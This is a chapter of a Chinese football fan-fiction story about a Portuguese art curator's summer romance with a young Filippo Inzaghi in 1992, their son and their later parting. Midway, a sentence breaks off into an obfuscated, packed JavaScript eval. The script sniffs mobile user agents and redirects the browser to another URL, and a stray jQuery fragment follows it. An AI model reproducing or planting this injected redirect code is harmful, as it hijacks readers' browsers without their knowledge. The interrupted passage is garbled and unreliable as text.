2. 花与果

作品:《[足球]链式刺客

    1992年的夏日,正是又一年的毕业季,在帕尔马大学攻读艺术史毕业的玛丽安娜·奥利维拉已经拿到了新工作的offer,是家乡里斯本的美术馆策展部,未来她会投身于文化遗产保护的事业当中,这也是她所钟爱的一切。


    安排好学习和工作后,当然是享受生活,玛丽安娜和同学塔蒂亚娜一起相约到海滩度假。


    撒丁岛Poetto海滩被地中海的阳光镀上一层金色,细软的沙粒在脚下绵延,远处海面如蓝宝石般闪烁。傍晚,青春靓丽少男少女在沙滩上挥舞青春,引起人们驻足观看。


    “小心!”玛丽安娜跃起扣球时重心不稳,踉跄跌出边界,撞翻了她身后观战的瘦削青年。他手中的柠檬冰淇淋溅到她的手臂上,冰凉触感激得她轻呼一声。抬头瞬间,她撞进一双琥珀色的眼睛,睫毛在阳光下镀着金边,像波提切利画中的天使。


    殊不知,她在他的眼中也是那么与众不同。她的瞳孔是橄榄石般的深绿色,像大西洋未被勘探的海域,表面闪烁着智慧的金色斑点。她的肤色是经年沐浴地中海岸阳光烘焙的蜜金色,身姿柔韧又暗含力量,每一个跃起扣球,手指修长且关节分明,有一种超越世俗审美的生命力。


    “抱歉,我该小心点……” 他笑着用纸巾擦拭她手腕上的奶油,指尖的温度比地中海的阳光更灼人。


    接着一切象是经典的爱情故事,相撞,对视,一见钟情。荷尔蒙点燃了双方的心跳,爱火有如炙热的夏天明艳又热烈。


    然而夏天的时光终究短暂,这注定是一场艰难的跨国爱恋。


    玛丽安娜在假期结束后便需要回到里斯本美术馆入职工作。


    而92年的菲利波·因扎吉刚被租借到意大利足球丙级联赛阿尔比诺莱费足球俱乐部,这是他首次被外租。


    皮亚琴察教练对他的评价是身体瘦弱,技术未达意乙要求,他和意甲推崇的全面型前锋标准不符而被边缘化,如果继续留在皮亚琴察一线队,他找不到什么出场机会。这次租借是他为自己寻求的一次转机。


    90年代还没有网络,车,马,邮件都慢。玛丽安娜需在里斯本公寓拨打昂贵的国际电话,常因工作繁忙和时差错过因扎吉的赛后通话。信件和明信片常因赛事辗转半月才抵达。


    玛丽安娜有时利用假期飞往意大利,坐在训练场锈迹斑斑的看台上。因扎吉瘦削的身影在壮硕队友中格外醒目,他总被撞倒,又总第一时间爬起,像追逐猎物的幼狼。


    其实她对足球没有想法,只是因为他而去抽空关注。意丙联赛并没有什么关注度,就算报纸提到也是寥寥数句。


    12月20日,在阿尔比诺莱费对阵锡耶纳的意丙联赛中,因扎吉打进了职业生涯首球。赛后他第一时间打给玛丽安娜,但是因为工作繁忙,她忙到很晚,到第二天才回拨电话。因扎吉有些失望,但是没有说什么。


    1993年1月,里斯本的冬雨漂过没有关好的窗,浸透了玛丽安娜的羊毛披肩,她看着手中的化验单,久久不语。


    她听着越洋线路的杂音,仿佛能触到因扎吉呼吸里的寒意。


    “菲利波,我需要你听清楚。”


    阿尔比诺莱费的宿舍暖气片嘶嘶作响,因扎吉盯着墙上刚贴的意丙射手榜(他暂列第七),喉结滚动:“如果留下,你的人生会……”


    她打断他:“这不是请求,是告知。”……


    1993年5月2日,在阿尔比诺莱费4比1战胜科莫足球俱乐部的意丙联赛中,因扎吉上演了职业生涯中的首个帽子戏法。


    他赛场上亲吻左手腕内侧的墨迹——玛丽安娜用写下的葡萄牙语“Enzo”。


    这个赛季因扎吉的努力渐有起色,他代表阿尔比诺莱费在意丙联赛中出场21次,打进13球。意丙的经历奠定了他“机会主义者”的球风雏形:通过无球跑动和禁区嗅觉弥补技术缺陷。


    1993年7月,因扎吉被皮亚琴察租借至意乙维罗纳足球俱乐部。


    1993年8月9日,她在开展前日羊水破裂,被同事送医。新生儿的名字被登记为:Enzo Gabriel Oliveira Inzaghi(恩佐·加布里埃尔·奥利维拉·因扎吉)。


    这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15372568|168181||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    天也是因扎吉的生日,他接到玛丽安娜同事在医院打来的电话才匆匆购买机票,到第二天凌晨飞到里斯本。


    他隔着婴儿监护室的玻璃看着里面,保温箱里蜷缩着一团粉红色的生物——像颗过早脱离母体的珍珠,紧闭着双眼,浅棕色的卷毛贴着脑袋,皮肤薄得能透出血管的淡蓝纹路。


    他的掌心贴上玻璃,制止手上轻轻地抖动,在冷雾中印出一个潮湿的轮廓,手腕内的墨迹传来若有若无的热意。这是上天给他的生日礼物吧。


    时间是宝贵的,他们都无法挥霍,钟表指针滴答滴答地旋转划过,催促人快步奔走,不敢停歇。跨国的恋情和亲人也无法愈合时空的划开的痕迹。


    电话不过寥寥,书信只是草草,1994年玛丽安娜还是寄出了分手信:“你的舞台是绿茵场,而我的战场在画框与文献库。”不过是静默的告别。


    因扎吉每月寄来支票,金额随年薪增长从500里拉飙升至5000里拉,附言栏始终是“给恩佐的绘本基金”。玛丽安娜将钱存入账户,从未动用。


    里斯本机场的咖啡厅,恩佐用蜡笔在餐垫的纸上涂抹,画中是绿茵场上跃起的身影,他用蓝色和黑色蜡笔涂抹球衣。


    “妈妈,为什么爸爸在电话里?”


    玛丽安娜蹲下身,手指掠过他遗传自父亲的浅棕色卷发,又望向停机坪的钢铁巨鸟,想起四年前同样的冬日雨雾。


    此刻因扎吉正穿过海关闸口——他刚以1200万美元从亚特兰大转会到意甲豪门——尤文图斯,狗仔队却追踪到他反常的里斯本行程。


    “带他去都灵看看,”玛丽安娜将恩佐的蜡笔画和联名账户存折塞进儿子背包,将恩佐推向面前瘦削的男人。


    因扎吉依旧俊朗,笑容依旧温柔多情,他的睫毛在逆光中镀着金边,琥珀色瞳孔彷彿提香画布上融化的蜂蜜,但是在玛丽安娜眼中一切都不复从前。


    他弯腰抱起恩佐,他的手臂肌肉随着拥抱动作起伏,既保有少年时代因瘦弱被迫流浪意丙的纤细感,又沉淀了征战意甲淬鍊出的精悍。


    他们终究背道而驰。